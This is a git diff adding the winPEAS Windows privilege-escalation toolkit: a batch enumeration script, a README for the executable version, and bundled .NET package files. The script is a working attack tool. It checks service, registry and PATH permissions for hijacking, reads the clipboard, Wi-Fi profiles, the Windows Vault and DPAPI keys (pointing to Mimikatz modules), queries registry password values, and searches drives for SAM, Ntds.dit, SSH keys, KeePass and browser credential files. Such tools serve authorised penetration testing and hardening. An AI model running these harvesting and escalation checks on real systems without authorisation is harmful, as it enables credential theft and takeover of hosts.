_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] INTERFACES ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +ipconfig /all +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] USED PORTS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Check for services restricted from the outside +netstat -ano | findstr /i listen +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] FIREWALL ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +netsh firewall show state +netsh firewall show config +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] ^ARP ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +arp -A +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] ROUTES ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +route print +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] Hosts file ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +type C:\WINDOWS\System32\drivers\etc\hosts | findstr /v "^#" +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] CACHE DNS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +ipconfig /displaydns | findstr "Record" | findstr "Name Host" +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] WIFI ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] To get the clear-text password use: netsh wlan show profile key=clear +netsh wlan show profile +echo. +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^>[*] BASIC USER INFO ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Check if you are inside the Administrators froup or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebbugPrivilege +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#users-and-groups +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] CURRENT USER ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +net user %username% +net user %USERNAME% /domain 2>nul +whoami /all +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] USERS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +net user +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] GROUPS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +net localgroup +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] ADMINISTRATORS GROUPS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +net localgroup Administrators 2>nul +net localgroup Administradores 2>nul +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] CURRENT LOGGED USERS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +quser +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] CURRENT CLIPBOARD ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Any password inside the clipboard? +powershell -command "Get-Clipboard" 2>nul +echo. +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [*] SERVICES VULNERABILITIES ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +::echo. +::echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] SERVICE PERMISSIONS WITH accesschk.exe FOR 'Authenticated users', Everyone, BUILTIN\Users, Todos and CURRENT USER ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +::echo [i] If Authenticated Users have SERVICE_ALL_ACCESS or SERVICE_CHANGE_CONFIG or WRITE_DAC or WRITE_OWNER or GENERIC_WRITE or GENERIC_ALL, you can modify the binary that is going to be executed by the service and start/stop the service +::echo [i] If accesschk.exe is not in PATH, nothing will be found here +::echo [I] AUTHETICATED USERS +::accesschk.exe -uwcqv "Authenticated Users" * /accepteula 2>nul +::echo [I] EVERYONE +::accesschk.exe -uwcqv "Everyone" * /accepteula 2>nul +::echo [I] BUILTIN\Users +::accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul +::echo [I] TODOS +::accesschk.exe -uwcqv "Todos" * /accepteula 2>nul +::echo [I] %USERNAME% +::accesschk.exe -uwcqv %username% * /accepteula 2>nul +::echo. +::echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] SERVICE PERMISSIONS WITH accesschk.exe FOR * ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +::echo [i] Check for weird service permissions for unexpected groups" +::accesschk.exe -uwcqv * /accepteula 2>nul + +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] SERVICE BINARY PERMISSIONS WITH WMIC + ICACLS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services +for /f "tokens=2 delims='='" %%a in ('cmd.exe /c wmic service list full ^| findstr /i "pathname" ^|findstr /i /v "system32"') do ( + for /f eol^=^"^ delims^=^" %%b in ("%%a") do icacls "%%b" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && echo. +) +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services +for /f %%a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv >nul 2>&1 & reg save %%a %temp%\reg.hiv >nul 2>&1 && reg restore %%a %temp%\reg.hiv >nul 2>&1 && echo You can modify %%a +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] UNQUOTED SERVICE PATHS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Progam.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe' +echo [i] The permissions are also checked and filtered using icacls +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services +for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do ( + for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do ( + echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo. + ) +) +::wmic service get name,displayname,pathname,startmode | more | findstr /i /v "C:\\Windows\\system32\\" | findstr /i /v """ +echo. +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [*] DLL HIJACKING in PATHenv variable ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Maybe you can take advantage of modifying/creating some binary in some of the following locations +echo [i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dll-hijacking +for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) +echo. +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [*] CREDENTIALS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] WINDOWS VAULT ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#windows-vault +cmdkey /list +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] DPAPI MASTER KEYS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi +powershell -command "Get-ChildItem %appdata%\Microsoft\Protect" 2>nul +powershell -command "Get-ChildItem %localappdata%\Microsoft\Protect" 2>nul +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] DPAPI MASTER KEYS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt +echo [i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi +echo Looking inside %appdata%\Microsoft\Credentials\ +dir /b/a %appdata%\Microsoft\Credentials\ 2>nul +echo Looking inside %localappdata%\Microsoft\Credentials\ +dir /b/a %localappdata%\Microsoft\Credentials\ 2>nul +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] AppCmd ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#appcmd-exe +IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO %systemroot%\system32\inetsrv\appcmd.exe exists. +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] Files an registry that may contain credentials ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Searching specific files that may contains credentias. +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files +reg query HKCU\Software\ORL\WinVNC3\Password 2>nul +reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password 2>nul +reg query HKLM\SYSTEM\Microsoft\Windows NT\Currentversion\WinLogon 2>nul +reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s 2>nul +reg query HKCU\Software\TightVNC\Server 2>nul +reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s 2>nul +cd %USERPROFILE% 2>nul && dir /s/b *password* == *credential* 2>nul +cd ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\.. +dir /s/b /A:-D RDCMan.settings == *.rdg == SCClient.exe == *_history == .sudo_as_admin_successful == .profile == *bashrc == httpd.conf == *.plan == .htpasswd == .git-credentials == *.rhosts == hosts.equiv == Dockerfile == docker-compose.yml == appcmd.exe == TypedURLs == TypedURLsTime == History == Bookmarks == Cookies == "Login Data" == places.sqlite == key3.db == key4.db == credentials == credentials.db == access_tokens.db == accessTokens.json == legacy_credentials == azureProfile.json == unattend.txt == access.log == error.log == *.gpg == *.pgp == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12 == *.der == *.csr == *.cer == known_hosts == id_rsa == id_dsa == *.ovpn == anaconda-ks.cfg == hostapd.conf == rsyncd.conf == cesi.conf == supervisord.conf == tomcat-users.xml == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == unattend.xml == unattended.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == groups.xml == services.xml == scheduledtasks.xml == printers.xml == drives.xml == datasources.xml == php.ini == https.conf == https-xampp.conf == httpd.conf == my.ini == my.cnf == access.log == error.log == server.xml == SiteList.xml == ConsoleHost_history.txt == setupinfo == setupinfo.bak 2>nul | findstr /v ".dll" +cd inetpub 2>nul && (dir /s/b web.config == *.log & cd ..) +echo. +echo. +if "%long%" == "yes" ( + echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] REGISTRY WITH STRING pass OR pwd ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- + reg query HKLM /f passw /t REG_SZ /s + reg query HKCU /f passw /t REG_SZ /s + reg query HKLM /f pwd /t REG_SZ /s + reg query HKCU /f pwd /t REG_SZ /s + echo. + echo. + echo [i] Iterating through the drives + echo. + for /f %%x in ('wmic logicaldisk get name^| more') do ( + set tdrive=%%x + if "!tdrive:~1,2!" == ":" ( + %%x + echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] FILES THAT CONTAINS THE WORD PASSWORD WITH EXTENSION: .xml .ini .txt *.cfg *.config ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- + findstr /s/n/m/i password *.xml *.ini *.txt *.cfg *.config 2>nul | findstr /v /i "\\AppData\\Local \\WinSxS ApnDatabase.xml \\UEV\\InboxTemplates \\Microsoft.Windows.Cloud \\Notepad\+\+\\ vmware cortana alphabet \\7-zip\\" 2>nul + echo. + echo. + echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] FILES WHOSE NAME CONTAINS THE WORD PASS CRED or .config not inside \Windows\ ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- + dir /s/b *pass* == *cred* == *.config* == *.cfg 2>nul | findstr /v /i "\\windows\\" + echo. + echo. + ) + ) + echo. +) diff --git a/winPEAS/winPEASexe/.vs/winPEAS/v16/.suo b/winPEAS/winPEASexe/.vs/winPEAS/v16/.suo new file mode 100755 index 0000000..fe5b461 Binary files /dev/null and b/winPEAS/winPEASexe/.vs/winPEAS/v16/.suo differ diff --git a/winPEAS/winPEASexe/.vs/winPEAS/v16/Server/sqlite3/storage.ide b/winPEAS/winPEASexe/.vs/winPEAS/v16/Server/sqlite3/storage.ide new file mode 100755 index 0000000..45976f5 Binary files /dev/null and b/winPEAS/winPEASexe/.vs/winPEAS/v16/Server/sqlite3/storage.ide differ diff --git a/winPEAS/winPEASexe/.vs/winPEAS/v16/Server/sqlite3/storage.ide-shm b/winPEAS/winPEASexe/.vs/winPEAS/v16/Server/sqlite3/storage.ide-shm new file mode 100755 index 0000000..7073d0b Binary files /dev/null and b/winPEAS/winPEASexe/.vs/winPEAS/v16/Server/sqlite3/storage.ide-shm differ diff --git a/winPEAS/winPEASexe/.vs/winPEAS/v16/Server/sqlite3/storage.ide-wal b/winPEAS/winPEASexe/.vs/winPEAS/v16/Server/sqlite3/storage.ide-wal new file mode 100755 index 0000000..3c1fb26 Binary files /dev/null and b/winPEAS/winPEASexe/.vs/winPEAS/v16/Server/sqlite3/storage.ide-wal differ diff --git a/winPEAS/winPEASexe/README.md b/winPEAS/winPEASexe/README.md new file mode 100755 index 0000000..32fd710 --- /dev/null +++ b/winPEAS/winPEASexe/README.md @@ -0,0 +1,147 @@ +# Windows Privilege Escalation Awsome Script (.exe) + +**WinPEAS is a script that searh for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation)** + +Check also the **Local Windows Privilege Escalation checklist** from [book.hacktricks.xyz](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation) + +## Quick Start + +Download the **[latest version from here](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/winpeas/winpeasexe/winpeas/bin/Release)** or **compile it yourself**. +```bash +winpeas.exe ansii #ANSII color for linux consoles (reverse shell) +winpeas.exe #Will execute all checks except the ones that execute MD commands +winpeas.exe cmd #All checks +winpeas.exe cmd fast #All except the one that search for files +winpeas.exe systeminfo userinfo #Only systeminfo and userinfo checks executed +``` + +## Basic information + +The goal of this project is to search for possible **Privilege Escalation Paths** in Windows environments. + +It should take only a **few seconds** to execute almost all the checks and **some minutes searching in the whole main drive** for known files that could contain passwords (the time depened on the number of files in your drive). Get rif of that time consuming check using the parameter `fast`. + +The **ouput will be colored**. Below you have some indications about what does each color means exacty, but keep in mind that **Red** is for something interesting (from a pentester perspective) and **Green** is something good (from a defender perspective). + +The tool is heavily based in **[SeatBelt](https://github.com/GhostPack/Seatbelt)**. + +**IMPORTANT TO NOTICE:** By default WinPEAS will use colord for Windows terminals (without ANSII characters). If execute winpeas.exe from a reverse shell without any option **no color will be printed**. To see color in a linux terminal you need to use the **ansii** parameter. + +## Help + +![](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/blob/master/winpeas/winpeasexe/images/help.png) + +## Colors + +
+ Details + ![](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/blob/master/winpeas/winpeasexe/images/colors.png) + +
+ +## Checks + +
+ Details + +- **System Information** + - [x] Basic System info information + - [x] Use Watson to search for vulnerabilities + - [x] PS, Audit, WEF and LAPS Settings + - [x] Environment Variables + - [x] Internet Settings + - [x] Current drives information + - [x] AV? + - [x] UAC configuration + +- **Users Information** + - [x] Users information + - [x] Current token privileges + - [x] Clipboard text + - [x] Current logged users + - [x] RDP sessions + - [x] Ever logged users + - [x] Autologin credentials + - [x] Home folders + - [x] Password policies + +- **Processes Information** + - [x] Interesting processes (non Microsoft) + +- **Services Information** + - [x] Interesting services (non Microsoft) information + - [x] Writable service registry + - [x] PATH Dll Hijacking + +- **Applications Information** + - [x] Current Active Window + - [x] Installed software + - [x] AutoRuns + - [x] Scheduled tasks + +- **Network Information** + - [x] Current net shares + - [x] hosts file + - [x] Network Interfaces + - [x] Listening ports + - [x] Firewall rules + - [x] DNS Cache (limit 70) + +- **Windows Credentials** + - [x] Windows Vault + - [x] Credential Manager + - [x] Saved RDO connections + - [x] Recently run commands + - [x] DPAPI Masterkeys + - [x] DPAPI Credential files + - [x] Remote Desktop Connection Manager credentials + - [x] Kerberos Tickets + - [x] Wifi + - [x] AppCmd.exe + - [x] SSClient.exe + - [x] AlwaysInstallElevated + - [x] WSUS + +- **Browser Information** + - [x] Firefox DBs + - [x] Credentials in firefox history + - [x] Chrome DBs + - [x] Credentials in chrome history + - [x] Current IE tabs + - [x] Credentials in IE history + - [x] IE Favorites + +- **Interesting Files and registry** + - [x] Putty sessions + - [x] Putty SSH host keys + - [x] Cloud credentials + - [x] Possible registries with credentials + - [x] Possible credentials files in users homes + - [x] Possible password files inside the Recycle bin + - [x] Possible files containing credentials (this take some minutes) + - [x] User documents (limit 100) + +
+ +## Do not fork it!! + +If you want to **add something** and have **any cool idea** related to this project, please let me know it using the [github issues](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/issues) and we will update the master version. + +## TODO + +- Add more checks +- Mantain updated Watson +- List wifi networks without using CMD +- List credentials inside the Credential Manager without using CMD + +If you want to help with any of this, you can do it using [github issues](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/issues) or you can submit a pull request. + +If you find any issue, please report it using [github issues](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/issues). + +**WinPEAS** is being **updated** every time I find something that could be useful to escalate privileges. + +## License + +MIT License + +By Polop(TM) \ No newline at end of file diff --git a/winPEAS/winPEASexe/images/colors.png b/winPEAS/winPEASexe/images/colors.png new file mode 100755 index 0000000..7e43408 Binary files /dev/null and b/winPEAS/winPEASexe/images/colors.png differ diff --git a/winPEAS/winPEASexe/images/help.png b/winPEAS/winPEASexe/images/help.png new file mode 100755 index 0000000..0e3637d Binary files /dev/null and b/winPEAS/winPEASexe/images/help.png differ diff --git a/winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/.signature.p7s b/winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/.signature.p7s new file mode 100755 index 0000000..0c90234 Binary files /dev/null and b/winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/.signature.p7s differ diff --git a/winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/Colorful.Console.1.2.9.nupkg b/winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/Colorful.Console.1.2.9.nupkg new file mode 100755 index 0000000..98114e2 Binary files /dev/null and b/winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/Colorful.Console.1.2.9.nupkg differ diff --git a/winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/net40/Colorful.Console.dll b/winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/net40/Colorful.Console.dll new file mode 100755 index 0000000..41fc4cd Binary files /dev/null and b/winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/net40/Colorful.Console.dll differ diff --git a/winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/net45/Colorful.Console.dll b/winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/net45/Colorful.Console.dll new file mode 100755 index 0000000..fafff68 Binary files /dev/null and b/winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/net45/Colorful.Console.dll differ diff --git a/winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/net451/Colorful.Console.dll b/winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/net451/Colorful.Console.dll new file mode 100755 index 0000000..e17d36f Binary files /dev/null and b/winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/net451/Colorful.Console.dll differ diff --git a/winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/net452/Colorful.Console.dll b/winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/net452/Colorful.Console.dll new file mode 100755 index 0000000..5e3061e Binary files /dev/null and b/winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/net452/Colorful.Console.dll differ diff --git a/winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/net46/Colorful.Console.dll b/winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/net46/Colorful.Console.dll new file mode 100755 index 0000000..8ccb7f4 Binary files /dev/null and b/winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/net46/Colorful.Console.dll differ diff --git a/winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/net461/Colorful.Console.dll b/winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/net461/Colorful.Console.dll new file mode 100755 index 0000000..8315ace Binary files /dev/null and b/winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/net461/Colorful.Console.dll differ diff --git a/winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/netstandard2.0/Colorful.Console.dll b/winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/netstandard2.0/Colorful.Console.dll new file mode 100755 index 0000000..5654e2c Binary files /dev/null and b/winPEAS/winPEASexe/packages/Colorful.Console.1.2.9/lib/netstandard2.0/Colorful.Console.dll differ diff --git a/winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/.signature.p7s b/winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/.signature.p7s new file mode 100755 index 0000000..c9950d4 Binary files /dev/null and b/winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/.signature.p7s differ diff --git a/winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/Costura.Fody.4.1.0.nupkg b/winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/Costura.Fody.4.1.0.nupkg new file mode 100755 index 0000000..175f3c3 Binary files /dev/null and b/winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/Costura.Fody.4.1.0.nupkg differ diff --git a/winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/build/Costura.Fody.props b/winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/build/Costura.Fody.props new file mode 100755 index 0000000..a189a9a --- /dev/null +++ b/winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/build/Costura.Fody.props @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/lib/net40/Costura.dll b/winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/lib/net40/Costura.dll new file mode 100755 index 0000000..27d80be Binary files /dev/null and b/winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/lib/net40/Costura.dll differ diff --git a/winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/lib/net40/Costura.xml b/winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/lib/net40/Costura.xml new file mode 100755 index 0000000..ec57626 --- /dev/null +++ b/winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/lib/net40/Costura.xml @@ -0,0 +1,18 @@ + + + + Costura + + + + + Contains methods for interacting with the Costura system. + + + + + Call this to Initialize the Costura system. + + + + diff --git a/winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/weaver/Costura.Fody.dll b/winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/weaver/Costura.Fody.dll new file mode 100755 index 0000000..d74ccba Binary files /dev/null and b/winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/weaver/Costura.Fody.dll differ diff --git a/winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/weaver/Costura.Fody.xcf b/winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/weaver/Costura.Fody.xcf new file mode 100755 index 0000000..0f0424e --- /dev/null +++ b/winPEAS/winPEASexe/packages/Costura.Fody.4.1.0/weaver/Costura.Fody.xcf @@ -0,0 +1,85 @@ + + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with line breaks. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with line breaks. + + + + + The order of preloaded assemblies, delimited with line breaks. + + + + + + This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. + + + + + Controls if .pdbs for reference assemblies are also embedded. + + + + + Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. + + + + + As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. + + + + + Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. + + + + + Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with |. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with |. + + + + + The order of preloaded assemblies, delimited with |. + + + \ No newline at end of file diff --git a/winPEAS/winPEASexe/packages/CredentialManagement.1.0.2/.signature.p7s b/winPEAS/winPEASexe/packages/CredentialManagement.1.0.2/.signature.p7s new file mode 100755 index 0000000..a423cd9 Binary files /dev/null and b/winPEAS/winPEASexe/packages/CredentialManagement.1.0.2/.signature.p7s differ diff --git a/winPEAS/winPEASexe/packages/CredentialManagement.1.0.2/CredentialManagement.1.0.2.nupkg b/winPEAS/winPEASexe/packages/CredentialManagement.1.0.2/CredentialManagement.1.0.2.nupkg new file mode 100755 index 0000000..4d142ec Binary files /dev/null and b/winPEAS/winPEASexe/packages/CredentialManagement.1.0.2/CredentialManagement.1.0.2.nupkg differ diff --git a/winPEAS/winPEASexe/packages/CredentialManagement.1.0.2/lib/net35/CredentialManagement.dll b/winPEAS/winPEASexe/packages/CredentialManagement.1.0.2/lib/net35/CredentialManagement.dll new file mode 100755 index 0000000..26fcb6c Binary files /dev/null and b/winPEAS/winPEASexe/packages/CredentialManagement.1.0.2/lib/net35/CredentialManagement.dll differ diff --git a/winPEAS/winPEASexe/packages/Fody.6.0.0/.signature.p7s b/winPEAS/winPEASexe/packages/Fody.6.0.0/.signature.p7s new file mode 100755 index 0000000..4d9aadd Binary files /dev/null and b/winPEAS/winPEASexe/packages/Fody.6.0.0/.signature.p7s differ diff --git a/winPEAS/winPEASexe/packages/Fody.6.0.0/Fody.6.0.0.nupkg b/winPEAS/winPEASexe/packages/Fody.6.0.0/Fody.6.0.0.nupkg new file mode 100755 index 0000000..b355281 Binary files /dev/null and b/winPEAS/winPEASexe/packages/Fody.6.0.0/Fody.6.0.0.nupkg differ diff --git a/winPEAS/winPEASexe/packages/Fody.6.0.0/build/Fody.targets b/winPEAS/winPEASexe/packages/Fody.6.0.0/build/Fody.targets new file mode 100755 index 0000000..f8dcd9d --- /dev/null +++ b/winPEAS/winPEASexe/packages/Fody.6.0.0/build/Fody.targets @@ -0,0 +1,110 @@ + + + + $(ProjectDir)FodyWeavers.xml + $(MSBuildThisFileDirectory)..\ + $(FodyPath)netstandardtask + $(FodyPath)netclassictask + $(FodyAssemblyDirectory)\Fody.dll + $(DefaultItemExcludes);FodyWeavers.xsd + true + 15 + $([System.Version]::Parse($(MSBuildVersion)).Major) + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Fody.dll b/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Fody.dll new file mode 100755 index 0000000..2ca8d38 Binary files /dev/null and b/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/Fody.dll differ diff --git a/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/FodyCommon.dll b/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/FodyCommon.dll new file mode 100755 index 0000000..8cd5941 Binary files /dev/null and b/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/FodyCommon.dll differ diff --git a/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/FodyHelpers.dll b/winPEAS/winPEASexe/packages/Fody.6.0.0/netclassictask/FodyHelpers.dll new file mode 100755 index 0000000..d04ebd9 